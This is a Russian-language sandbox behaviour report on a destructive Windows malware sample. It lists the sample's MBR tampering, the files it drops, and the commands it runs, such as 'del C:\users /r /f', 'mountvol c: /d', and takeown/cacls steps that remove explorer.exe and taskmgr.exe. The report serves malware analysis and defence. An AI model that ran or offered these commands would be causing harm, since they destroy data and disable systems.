Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im explorer.exe
Запускает большое число процессов
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\explorer.exe
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\48896.bat
- <Текущая директория>\423426.txt
- <Текущая директория>\75820.bat
- <PATH_SAMPLE>5.exe
- <Текущая директория>\630544.txt
- <Текущая директория>\90492.bat
- <Текущая директория>\515573.txt
- <Текущая директория>\63655.bat
- <Текущая директория>\09047.txt
- <Текущая директория>\37719.txt
- <Текущая директория>\19518.bat
- <PATH_SAMPLE>3.exe
- <Текущая директория>\207046.bat
- <Текущая директория>\320318.txt
- <PATH_SAMPLE>7.exe
- <Текущая директория>\713000.txt
- <Текущая директория>\122402.bat
- <PATH_SAMPLE>0.exe
- <Текущая директория>\010615.txt
- <Текущая директория>\0.bat
- <PATH_SAMPLE>6.exe
- <Текущая директория>\65147.txt
- <Текущая директория>\67572.bat
- <PATH_SAMPLE>4.exe
- <Текущая директория>\421886.txt
- <Текущая директория>\27486.bat
- <Текущая директория>\71205.txt
Удаляет следующие файлы
- <SYSTEM32>\taskmgr.exe
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<PATH_SAMPLE>4.exe' 1691717830
- '<PATH_SAMPLE>3.exe' /KillHardDisk 1691717830
- '<PATH_SAMPLE>3.exe' /killwindows 1691717830
- '<PATH_SAMPLE>7.exe' /autoup 1691717830
- '<PATH_SAMPLE>7.exe' /protect 1691717830
- '<PATH_SAMPLE>7.exe' /killMBR 1691717830
- '<PATH_SAMPLE>6.exe' /autoup 1691717830
- '<PATH_SAMPLE>0.exe' /autoup 1691717830
- '<PATH_SAMPLE>7.exe' /KillHardDisk 1691717830
- '<PATH_SAMPLE>6.exe' /protect 1691717830
- '<PATH_SAMPLE>0.exe' /protect 1691717830
- '<PATH_SAMPLE>7.exe' /killwindows 1691717830
- '<PATH_SAMPLE>6.exe' /killMBR 1691717830
- '<PATH_SAMPLE>0.exe' /killMBR 1691717830
- '<PATH_SAMPLE>6.exe' /KillHardDisk 1691717830
- '<PATH_SAMPLE>0.exe' /KillHardDisk 1691717830
- '<PATH_SAMPLE>6.exe' /killwindows 1691717830
- '<PATH_SAMPLE>0.exe' /killwindows 1691717830
- '<PATH_SAMPLE>4.exe' /autoup 1691717830
- '<PATH_SAMPLE>4.exe' /protect 1691717830
- '<PATH_SAMPLE>4.exe' /killMBR 1691717830
- '<PATH_SAMPLE>4.exe' /KillHardDisk 1691717830
- '<PATH_SAMPLE>4.exe' /killwindows 1691717830
- '<PATH_SAMPLE>5.exe' 1691717830
- '<PATH_SAMPLE>3.exe' 1691717830
- '<PATH_SAMPLE>7.exe' 1691717830
- '<PATH_SAMPLE>0.exe' 1691717830
- '<PATH_SAMPLE>6.exe' 1691717830
- '<PATH_SAMPLE>3.exe' /killMBR 1691717830
- '<PATH_SAMPLE>3.exe' /protect 1691717830
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start <Полный путь к файлу> /protect 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>6.exe /KillHardDisk 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /killMBR 1691717830
- '<SYSTEM32>\cmd.exe' /c del /f <SYSTEM32>\taskmgr.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>6.exe /killMBR 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /protect 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /killwindows 1691717830
- '<SYSTEM32>\cmd.exe' /c takeown /f %WINDIR%\explorer.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>6.exe /protect 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /KillHardDisk 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /autoup 1691717830
- '<SYSTEM32>\takeown.exe' /f %WINDIR%\explorer.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+37719.txt <PATH_SAMPLE>3.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>6.exe /autoup 1691717830
- '<SYSTEM32>\cmd.exe' /c Cacls %WINDIR%\explorer.exe /t /e /c /guser:F
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /protect 1691717830
- '<SYSTEM32>\cacls.exe' %WINDIR%\explorer.exe /t /e /c /guser:F
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /autoup 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>3.exe /killwindows 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>3.exe /KillHardDisk 1691717830
- '<SYSTEM32>\cmd.exe' /c del C:\users /r /f
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>3.exe /killMBR 1691717830
- '<SYSTEM32>\cmd.exe' /c mountvol c: /d
- '<SYSTEM32>\cmd.exe' /c del /f %WINDIR%\explorer.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>3.exe /protect 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>6.exe /killwindows 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /KillHardDisk 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe /killwindows 1691717830
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\taskmgr.exe /t /e /c /guser:F
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>4.exe /autoup 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+421886.txt <PATH_SAMPLE>4.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>4.exe 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+65147.txt <PATH_SAMPLE>6.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>6.exe 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+010615.txt <PATH_SAMPLE>0.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>0.exe 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+713000.txt <PATH_SAMPLE>7.exe
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im explorer.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe 1691717830
- '<SYSTEM32>\cmd.exe' /c start <Полный путь к файлу> /killwindows 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+320318.txt <PATH_SAMPLE>3.exe
- '<SYSTEM32>\mountvol.exe' c: /d
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>7.exe /killMBR 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>3.exe 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+515573.txt <PATH_SAMPLE>5.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+630544.txt <PATH_SAMPLE>6.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>5.exe 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+423426.txt <PATH_SAMPLE>4.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>4.exe /killwindows 1691717830
- '<SYSTEM32>\cmd.exe' /c takeown /f <SYSTEM32>\taskmgr.exe
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\taskmgr.exe
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>4.exe /KillHardDisk 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>4.exe /killMBR 1691717830
- '<SYSTEM32>\cmd.exe' /c start <PATH_SAMPLE>4.exe /protect 1691717830
- '<SYSTEM32>\cmd.exe' /c Cacls <SYSTEM32>\taskmgr.exe /t /e /c /guser:F
- '<SYSTEM32>\cmd.exe' /c start <Полный путь к файлу> /save 1691717830
- '<SYSTEM32>\cmd.exe' /c copy /b <Полный путь к файлу>+09047.txt <PATH_SAMPLE>0.exe
- '<SYSTEM32>\cmd.exe' /c copy /b <PATH_SAMPLE>4.exe+71205.txt <PATH_SAMPLE>47.exe
